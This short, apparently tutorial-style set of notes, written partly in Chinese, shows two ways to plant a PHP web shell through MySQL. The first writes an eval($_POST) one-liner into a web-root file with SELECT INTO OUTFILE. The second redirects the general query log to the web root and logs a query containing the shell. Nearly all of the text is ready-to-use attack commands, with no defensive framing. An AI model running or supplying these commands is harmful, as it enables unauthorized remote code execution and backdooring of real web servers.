One, in the root directory of the website
①查select @@basedir;
②利用into outfile进行写
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/MySQL/cc.php';#网站的根目录
Second, use mysql log to write files.
General log refers to the log saving status, ON means opening and OFF
means closing; general log file refers to the saving path of the log.
show variables like '%general%';#查看日志状态-->即可爆出日志的保存状态和保存路径
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='根目录'#即设置日志保存的根目录的地址-->即典型你要写马的位置
SELECT '<?php eval($_POST["cmd"]);?>'#执行语句-->即在日志文件中会直接生成